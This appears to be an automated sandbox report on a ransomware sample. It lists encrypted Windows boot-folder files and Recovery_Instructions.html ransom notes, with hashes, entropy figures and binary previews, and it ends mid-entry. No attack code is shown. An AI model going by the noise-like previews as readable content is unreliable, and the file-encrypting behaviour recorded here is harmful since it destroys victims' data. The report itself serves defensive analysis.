Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.....].(7.n.B.!.DD,.. ^.fP...(5.#<d.um\N.V...u.f...k1.......n)T...W!.(...m.y..A.Lk....\...<N.6[>......(...c.z....p.W8..]8j{ v.g;$xk$A,v\|.9...........j.4@D,.h....1O..M....d..4..PN8..9......V...W....G..s]...y.lB#..........rO."..u.J9.D9..`f.U.i......lY6h....XI\|.....w...[QD3]3?R..]x.\|$..B1...$J.[o.wU..AB.b...I%...0.>..=..m..#~.9n........ ...kvr.......~H.N=A...Z.D=....y.f..<I.h.=.....fr.S...k-.hd..8...vH.~.~]..W....7..?...r......1......zZpg.....`.....o}.....o#.v-).r;.3..-.....qr...P..h..R...@g...JQo.W9i......{.....q.9.S.....,"..@...+.....-....d....!v;1A..R..Y.n..\j......fcN.#...[....Y...<my...2.....r.-..........s.U$iy+P...H.i0.B.Edg.toF.[.^Iu....'Y"....f.X./..Kj...)..E5...].......Y..\|T....G.*..L..2"%..y.Z.V...r..K}.2

C:\EFI\Microsoft\Boot\es-MX\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9977341262234365
Encrypted:	true
SSDEEP:	1536:JjvQI1hfV5ThcgOxaWEpChlXHQ7o7ZDZV+ot4JrhctJyAbF:JjtvfV5FcL/cilksl+oQhcttF
MD5:	E4061A306CB015835212F8FFFADD0E2A
SHA1:	1C131FAA2D11D798089735A3E953A24B4203FD41
SHA-256:	FC852DE46C9FE83EA11DFE4C3018A41B576F5514A94807AABFEA6D2D6607061B
SHA-512:	31CA3F412F3AC1430E56D2E95F70B1CF7DC97530F4D947F05B0E2D6BC87683458FF98BBBC8AB4A2BEDDD87E0083888553B0E639C820394525DFF0834004A0B15
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.....].(7.n.B.!.DD,.. ^.fP...(5.#<d.um\N.V...xU...k<.......q....s....z.......O.<.?..Rm../.w.N..T.k..,...oe.....i......Z.u.../..YV.........s..U....ej....H.............P. d...)..,iC6,...J..j....} ........o..........W?.t.......%f?.......@....E.!...z......0.E........D.@...Q..\]..%.Jj;...L...]..o.+......#.C.e.nT.'..3A.L ..?,.p'...TD.....[.U0"/~..ac..~.....\49.G. ...H.....k.7..f.m...d.&.\...37pM...+=....1......p.8.9..?7..'~2..(..&..J.+.6oMK.R...HW..3.ut.#....t0U]A....V....U9.....R.a...~ }.Q.Q.......YaQC.....p......tB..........b.y.$R......[X.'....4.\.<5. ......vU.P=..p.~..g{O..C............/..W.t...U.1.Ea..b.}N]....Rv.>......mWdTwN..-.@......o..^..rm.[-K....%5..+.. .R.L\|B...^....K.Q....u.b5.r.6..`LD.:..SW.z.[BK._..`...P).h.h.

C:\EFI\Microsoft\Boot\et-EE\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\et-EE\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9977131425972825
Encrypted:	true
SSDEEP:	1536:aS13HwDoorem3iwGwVaQoaqRFU7v24xJSPO9GX/f14sC+wwot9SIwROIO9be:EEozyhwUXRSv20J7015m/wR7Ohe
MD5:	44A959CD26AAF7867DE0BF007CA6621F
SHA1:	3759AB356B438CA33CD71234B376397E6AC14BE2
SHA-256:	04334F2370AF44EC13B9C30DF97F64E331EF1D99494B9900A27A0E72B267E09E
SHA-512:	9F06D13EFE55D7F57BD8C032F6CFCBB30CAF863DAF3D50CFD4D6E3B665E94C1D80A1DE16A9A29DC71C069B118DE316A054D89F519CA68412B7688AFA65E0E4B5
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%..........F=f../J.........`.j...-....ZH.1.v}6.J...R.Zu...}!.JR.=g.......b<U.&....L......?..~..-B...4=4. .&...m.\Oq4d...'^..[..].K.G.2A.B?..r..........tP.#.^{..P.t.".N.. ....Z /.pGff..wp.r^......T...&.l.Y...b.(..a.z....V..G...P"...)3hk..w.^...qH<.KNb.k..\...P...F}5f9s..$...&ii....O,.+.=..G.1..m..w.!.l..#...........3;..-.....H ..b..8F.Qn..\s.=...<}<.2f.3w.EO.G._;F.=..GU.;.:.....V<.x.b.....$...13$...6.5...J.6.\....qs.d"/.`=E..&.........G..U......,....,.c.sU.....&.Te.]..6...........u.VP>4.M.`..=...'CtE... .j.F#i$).a....LWMX09.N;.....h.h....tI..a.l..z..q.5..'q..=..C.p..K{,5..yGs.l...S......,Tl+*.Hp.._;h.2;.9tv....S.Z...tV.1........d_M.D..&p5...uvd.U.o..Y.../..e.(.\|......:./@..:.q$.gr7..^.h".=... ...s.J....S I.3..[..

C:\EFI\Microsoft\Boot\et-EE\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997506287392702
Encrypted:	true
SSDEEP:	1536:WnZyHDmFe4BHxHtd1vDnuEmNirPfQeDjJK1Gt0bbmqKe6XAHTP+/T+c4LleCV7qG:qZMmFvxNnDuEmNYPfQeDjJK1+obmqKRG
MD5:	245DCAAB2390F534291A157D1ACFF17D
SHA1:	570A4FC9C313499F666D871E3D692416E04A7703
SHA-256:	8C0C6C48F8190709690E3FD3BC19DBC496DC7EEB16F8142568126BB698CC1055
SHA-512:	D8437EDBA91256AB62C104A906A2E28DE7BE8CCF9DB58871D1607CC984EEAAE50252CA273A7A92D6629B7CD6474E3F351F85C41F9811CF76C5299CC658DB70C9
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%..........F=f../J.........`.j...-....ZH.1.v}.o(.if..Y...w..z....o..e..e.`.7.~S.b...P..S.(\A..q.....$8.[x%..1...s....j)..c...4..c......r...W.F.0..`DT.}.h.P.z....vFc...8....v.....y..td.i.T. ..h_.u.........A....9A....X....7....&0R..7...fZ....;.l..W.R......7C.o.....b..r.....8&.Z.......X..9.....W:L...y..v.M......<.=Z/.kW..R.....Zi}...v?.xfr.....6.~G,..~....j4.Q.o^.s..:&...~.]...U..@Z.aG"WN'....#...9......`.O5.f.y.Z.=.g&F...7.(C@..\..`.F.g#g...C.o.......q._...}.e7.2....7.f..Ve..A..wL..h..Y9...Ym3......=......g.JX,......SB..F...3...#.U....0....s.....uH.........Dxw..C.!OX#.@.s.7....z..q....A.....v...&.....*o....... =..n."....._.7..r.V..z:.... ..H......=.....$t,\|.9Z.NuDJ...GD..o.`..B..DY.....]...J.....nI_Z...{h....Z.....k

C:\EFI\Microsoft\Boot\fi-FI\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\fi-FI\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997723307180774
Encrypted:	true
SSDEEP:	1536:yqozDAWCfm1KOm+WiAzWlZr2VJRkNk1iL82kjc2+fTlU0SrplAH4bYn:yqlXmwOmviAzMZ6Rk2CUcRr606bU
MD5:	CB5806D968581EF7F0F8A85E20BA3571
SHA1:	E7736CFF767F2A2977833F9416E3F33C6E1606D4
SHA-256:	ADDE955A3B3D1118ED2007B5A1702A7509FF71897D0A59049E30C2FC799D9992
SHA-512:	01D7D8DD7F1F1D8BCF659F7C8BA4CDD528A221EC2B1D0D1E327EFF3C46E0B3B87AFCE965420542DCA9C64D601B9FCDF959B9414CB540C4907264F17F5226B507
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{#.6..;....vq.I...HV.....]q..;...X>....lc..M...N.enr."..5J9>.G../.o.B.....d..s..}.mv.......(..c3.:.....2.P.`.n.mK.au.....v..$%=2:.R.........`.~.5)^.0.+Q.L..I.....Q.B....x0e..V.H......."NL..&p.8e..$=.?(..0.L...w.4.{..Z..4.Q_..~A....^-`y.#..$Z!.bvo..^.v;$).b...2.w...{a.(...3#..5A.vc.X.w..j...g.9. ...../.emK.Q.....u...<^..,..&Ijk.>y3..U..h.....\|u.k..1...y...)C.n.M.(..Y.....)......JXA.c..'............N.I......E...h.DT....l.4xI...zU.(..z...\|...B5O...G.de.9@ R...-......e...o.....:..[..x.]Bl..W......Xo.i.P.v&.}.z.:....W5u.m..)\|....h.-.(.z,..8.V.6...=:..%...2..d.e..Sf5=~*.)....`...s:.q..T.k.hA.r..o}..:s.....D.'...P...."(....k..F..'D.....{.p.{..p./..................^.`RuD..Z...q.G}_...y.%........

C:\EFI\Microsoft\Boot\fi-FI\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9975666187875545
Encrypted:	true
SSDEEP:	1536:BW/+7RyySVuSmgFqGAd7JGLMED6odnAGKCLV/SSr6pRsDKboMHdMA099L:A2789uSm8q1dNv+nAitSMKRvUkMA099L
MD5:	0D9010B9D288037B0CB53B43C7053E1E
SHA1:	B371B2146018A4DAB963A61CCA9D437F86D912F9
SHA-256:	A4138A76151CB91B928356EF0D4D8666F688839F94EEAEE3CF874B9E6AA2B69A
SHA-512:	338C0C2B76207C298469E28675EC9965D4BEA6C24F55B35869D0FEEEC811BBAFCBD02531D5AB6990902D9B150495FD858C672F25152791A15D73184506177E65
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{.......(...s.l7{.F.....Z.yt.b....;'.}T..J.V.!_.gd..w=.A..'.M.........D..0hw ..........5..Q..2CEO...uVm..<YR.5.!.......QrTi`.P.Qb..I5.x_...2..V.&0!k..E...n..0rn..VU...k.c.~....I.......x..`<[.RV.i.u.E..L;......F.=f.#......4s.f....?.X9L..;.....:B..Rkq..:.Q.7.}..8S..0.Y'.\|x9..B...e..G.M.....:.....OZ.......5{./.4,.......>.i\|.T.,}..MK..)}o+X..$._..lb..`._=.#...2.....L]W..Dh.F.........B..}..^..9.3fz#..D......!?..w....!....q.P.?`&`2U.....iP,..Q..;..Xi.a...2.\|ls.6x..W,............#s....@s\?...R...4.Q.x....L.Z.9C..=.ur../VB?&..[.x.+7..s#k.%..a.S...[....~.....L..%......4............\|X..{.PW<..gB. .....D(..-..=.#.Hu..F.p.s..z..@......Z....5^..?.jM....P.;W.f-.`L4.J"<.C.4v.+...5..If._.^l..~.0N"

C:\EFI\Microsoft\Boot\fi-FI\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996215564270047
Encrypted:	true
SSDEEP:	768:0dYy1grOpXTbCoEADlSVNoJY0UFFayuF37C1V6Ly6uNT0Zo+QL2PimkHg4JKfmxy:0dYy1gMCrABS/D0Uu/+6Bw2PilkfCzCd
MD5:	4C26920A10740BDDCAA12F99407AB9E0
SHA1:	8FD6633AC90CC3AFBBB5CF9A407417CB2DCF829D
SHA-256:	1EBBD4E6A5FAED8906AE59502770E12C513227100D5078A86FCFDDA6D5027981
SHA-512:	6F483A36237DB94BFBF1B738C2C24EC354AD28625DA51523095C95C02A7601DD87D88FF2138199D1643C1AA52A74DA4F9D4E8D77F5418B5F1D83E747C85AA1CB
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%....^.S..]..-.>m.9...........A..7W..9fw....3w#..-k..8..Y....n..A.....N...Y&.. ..%..u)\|.h..~....v..PX{.....a....3>..!:v...!_!..y>..}`...rFt@.M.=..<.....VBn...X.s..S.j....9........1.X-.)L...q.nm.f._km.{-.e.).....ZXX...I.?.X.A.........).\|@./6.:4..L{.._.....;..W,[....('...N..{....]O..m._..^....".0.....5..U._..C...C......./.B./.G1,'.pC.x..`.@+0.....YZ..r{N..{....._R.8?..\|tLF.]z..O..Vn..2...H.k.V.!....C..I..j.4T_.}o.."'..x.l^..vck.Z..&W<.@e.d.zy~&...3I....n)........V...+{..m..FS.T]$J....=Xu[...nM.[.U)..i_.i.}....0[r..j.. ...@&...M.....2......Jp....Y,....6......@f:R..C..M...]...JI.$.xWl...m.......'..E.Z@OX.O...0......B.8G.e.k.J4..0.s&....>.U~..u.GU.".M.../..7..+.c....;I.....R.4Y...X.....*dWRR.@SUr...l..Gi...........pK.n.....[.

C:\EFI\Microsoft\Boot\fr-CA\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\fr-CA\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9978154273273
Encrypted:	true
SSDEEP:	1536:P59gL0TklhifwwEkvV1mLbjG2N6NFugx13ElBflCDlH5lf3zvch4m:R9g44ifwwfvV1mLHGhxdwflCDlH5h3zC
MD5:	1779132C1B3E06CCE3C5B41534DA766C
SHA1:	371CE41A1BCCE200A00D8EB08623069AD0944337
SHA-256:	FBE88965EC7F3CFEBEE12CAA7B60ADC4B23636306F89E7448D831CBA9CBC4760
SHA-512:	2AF78077373B3D2381BC8A1B5531052C403A58859C306D07BD5154A1F8DF649D968A05F11A59E1CE4811AAC11CD5130CF5DACCB60EA06240CB82BDAEC44E2694
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.1r...=i..k..>......].w3?.s.Gx/.tT.9..O.....O..[."..&.......0[.ACR.D.kh=..F....K..`..IH.qB.Th.t.cV..\...B..........A...?.m...R.......l..:@$<.N..$.........P........r.2.a....n0......w'+.G..t).....r...@.j....y+...._..p..N.PB.".6..j&..y.zs.4..........k.YR.C...X..r......][......\opk...lD8.h)W..}.....u...v.....R~.I..JV.z~...z.$......'.g..d.x..q8>.k7..:..[...{.T...=.y..v..d.65J~%.[...e.......0...Tu...b..W.H.?.Iw.2.$.6l.B...yC..p...%b.>X......k.'.\|oR...$.T.#...-c.W..J.Z.6.u.....'...^....W{...e......JL...;.qu..U......i.k....G...^n8D..,c...$H8.....R..........Z2..h.L.R..,.=...)!..[Zz...j.b ..I..V..5.TV..H...mX..r.....4L]..RHB..~....t..*-..x"......D.....j..}G..V..B..v...'.G....n..r...lg.9T)&.....8..."i9].. ..............]).8(>f.\|4...

C:\EFI\Microsoft\Boot\fr-CA\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9975661187659295
Encrypted:	true
SSDEEP:	1536:pLJTdkaolcnCGzWrPLakWk4/aRFkT1HVRmXeljEJvJWf4RtxFK5:BkHlIEPLak2/513mQglofOtf0
MD5:	5665F7F7D059D272C5EC1E7CBBA182ED
SHA1:	D1DCCB334A1180985A34418D1A8A9FED18F20687
SHA-256:	C6353B74054C85F652EAEAB4133645E2DD788DDBD57FBCFE6BC2CEE3BC0F68BF
SHA-512:	0D6D917CB87A1335639A600082C41EDABDE62767CB6E642DD19B205A27D2BF1FC08DB19A5FFCDB6DEEE533D3F7819CDD6A348817250101E154F7D178A103C5DD
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.1r...=i..k..>......].w3?.s.Gx/.tT.9..O....7=p...,....y..s.B.Rf.z...>./...RK...=(`..."."^...... />....o0..f"....^..AT$.MF.......L...L.V..=.`T...w... .\.....B.....M.59f..=.j.......l....K.]"(...68.OS.t(....z..9.{...6..V.u..3t6.y.l....L.S4/..kc^dr...g...0'......s}..l..#; ..!...f..76yR..5.X/s.D.............8....ea..d....V.L.(g.F.C..}...D_xF.o...~.....ke._.....13.NnU.g2._...-..'.Y.Rg.."..ar..e.f`7..:..o.S.#...Hf\|<....E(.\.%.p.ho.)"...=..\....i.....k.T^....j..hV.>X+E>.i...:....PL.....)..{...x..(f.....G.......1.........g....J.m.....`dP.,.TC...C..e.*w..R...N...`.d.....:.;..U...x.Ks.H.1.(..;I&...RS.@._...D.4.9]...o...>..,Z..\|J....`...D..@v....'...].......I....L.6n....d=2...g..@1...F.q3........J...][.{.=../...+.Md.W.7..

C:\EFI\Microsoft\Boot\fr-FR\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\fr-FR\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997509632006258
Encrypted:	true
SSDEEP:	1536:4+FKWLklAKe2M1Q3qmwKlhO+NUtwIUdg3NVzseyWE1pTYRJcRc12kIWWiqCP:BdS+QamwEoLU63N6uEjXRaAo3
MD5:	DA0827D888F68E6AA1AC7CD69B000298
SHA1:	8D9352DF31AA3C94938E662EB76FECC8C1BE0A21
SHA-256:	01DB09DD1EF2F07F1D7F2BC86EC7CCA5E4F342FEE239A9BC8499A4C6487113A3
SHA-512:	ECCF01F300A1F9C520FBCFBFC0EBE89602747F218D7EE4C8C29815F0BD3FD7307F103CE9EF91EA51D1A4DCFB17B950A18EBDDBCA646BAA09CECFA711F4C57FE8
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.e.{.X...a...JA..H4y........w..Fup. .8L...F.....TU..C'.~/.....a./Z...kkmR.:.>v.....(.6.L]...Y........_Ov...W...Z.;B.b..9.P.Z.&...>..y]...xks.9.o..=.F.f#......E...X.0#.".!b.!..'F.>_...m ......:..LKI....F..ZrK%...fx..q...S..C..]v~._.j.tL&....}...hR.T.b....l.6..\|m`d&.@7.{.Yu..Ae.v.u............f......}.-......L..:.d.(j-".B..E:3-..../.s..I;.-.......L...E.X.}......0.R.G...V7..4.(H._u.4..F....}.&r=.T....c..1...xI.b.e.LJ..{...w.....`.j.By..\..^YD.i../...Wf..../..#VD...]t8.c.T&C.Q..U=0hI...)x.Sm{......9.WJE..A0.6.......2gD.?....U.S.Jk..o\.fA_..W...<.4.0<....n.F..../.p......0Y.dsu...:..y9u5....A9..$......*E`....`... ..nA.....$.0."qf....FZ...V&...R.EOI\|....{..!'V.!1...."...$y.4.]..s...Q...mT......y-...R+..x.....[.k.;..8.s@..g&tw..&

C:\EFI\Microsoft\Boot\fr-FR\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997881289020322
Encrypted:	true
SSDEEP:	1536:jXYjxUOpfht4c3LvR6KNqG/6IsRbuCIi+NeQmFpcJT00uB0SU2B:jXYaOp5tn3oGyenfmY00uBgI
MD5:	E43E41DE726D8141D0C0D376495CD2B1
SHA1:	5262000126B6C7B2F3757C1421FB1E97512BCB4F
SHA-256:	CECDC9EC2943D3E7D4E3704CCCE5D1AFAD6CD965B633A700C159280283376637
SHA-512:	18FDDEF2F9134C12CC2DBE0B9CD11F38DC39FB7B69E5DA6FB9AA6A3201442F204F919FD2D03AE87CAD3B90758857A0BB4A8FD5422A6D799335CC5748CD3C4CEF
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.e.{.X...a...JA..H4y........w..Fup. .8L...F....]5.o.GI9...8Ou.6.d...?.....k]..QG.j....`[(..Q..M..+..'...o..=..lUz.[.<3.$.."_.b .%ip.....R..l.R...#{..n-x.?>&p.........N..wN~....N.R`...X...pET.t..r..-?.t.....Y.....%....>.3...d5.R.....w0@.$+.opB...oU.Q...bkUF..B.4...G.C......NC[...[.>.'.J.g.....`s.#......."g.wP.S$.h..u..W=..U.....w.y.OG.....%.....T.B........g?.A.../.!]>}..~..v.&.....6..J..=..9.!..N..J.[.......>.}>\|a.Y\.C...sm.ZZ1......L.\|.\..k..H=1O.......S....J:9.ep.I..A0...a..'v..._.G....eA}S...?.l:.......p..R.v..P......L...l..It<d.6.H..C).........+....!d...B]..:....$..q.....E.x...>..V...[..dL.H+8.-......%..<..^...}..g..K........zm...$?...:.%:..Jd.x.Z..,w...i,C.:B.X..E..L....{Js....0.N..5...q.`...B)LQ.,..n.F..;.:.\5S

C:\EFI\Microsoft\Boot\fr-FR\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996432814268194
Encrypted:	true
SSDEEP:	1536:4NH+YtwkuKtD7F/Dz34XDrlZwbfc1U5slb627:40X8zQDrggW5QO4
MD5:	B6E1D69B837FBEF09A64C38C4997B06C
SHA1:	E1A8B54BFD571C0B3B982A96FA9D18ADBA5B6E72
SHA-256:	33BD4AE81DEB75D14D0333181571F6C0BAFE1C4F0B3AE1A4E441F74BCD01564B
